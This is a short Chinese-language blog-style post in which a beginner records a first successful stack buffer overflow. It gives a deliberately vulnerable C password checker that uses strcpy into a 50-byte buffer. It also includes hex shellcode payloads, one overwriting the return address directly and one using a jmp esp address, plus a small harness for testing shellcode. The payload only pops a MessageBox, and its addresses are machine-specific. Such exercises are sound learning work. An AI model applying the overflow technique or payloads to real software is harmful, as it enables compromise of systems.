都说exploit是大牛集结之地,我刚开始学习,发现是真难啊!!!弄了半天,才实验成功我的第一个缓冲区溢出攻击
看到这个框框谈出来时,我眼泪都快掉下来了,真是不容易,折腾了半天,到现在还没明白,为啥原理那么简单,实现起来那么难,也许水平太菜了吧
不说了,先记些东西,源代码:
#include<stdio.h> #include<windows.h> #include<string.h> #define PASSWORD "1234567" int verify_password(char *password) { char buffer[50]; strcpy(buffer,password); return 0; } int main() { int flag=0; char password[1024]; FILE * fp; LoadLibrary("user32.dll"); fp=fopen("c:\\password.txt","r"); if(fp==NULL) { MessageBox(NULL,"打开文件失败","error",NULL); exit(0); } fscanf(fp,"%s",password); flag=verify_password(password); if(flag) { printf("密码错误\n"); } else { printf("密码正确\n"); } fclose(fp); return 0; }
shellcode:33DB536861697279684E6574668BC453505053B87664D377FFD090909090909090909090909090909090909090909090909090909090909038FB1200。EA这个是在我的机器测试,换台机器百分百失败,7664D377为本机MessageboxA地址,38FB1200为覆盖返回地址的shellcode地址
jmp esp方式:3132333435363738393132333435363738393132333435363738393132333435363738393132333435363738393132333435363731313131FC18D47733DB536861697279684E6574668BC453505053B87664D377FFD0。
FC18D477是jmp esp地址,绿色为shellcode
shellcode的调试:
#include<stdio.h> #include<windows.h> char shellcode[]="\x33\xDB\x53\x68\x61\x69\x72\x79\x68\x4E\x65\x74\x66\x8B\xC4\x53\x50\x50\x53\xB8\x1E\xFD\x98\x75\xFF\xD0"; int main() { LoadLibrary("user32.dll"); _asm { lea eax,shellcode; push eax; ret; } return 0; }
1EFD9875为本机MessageBox地址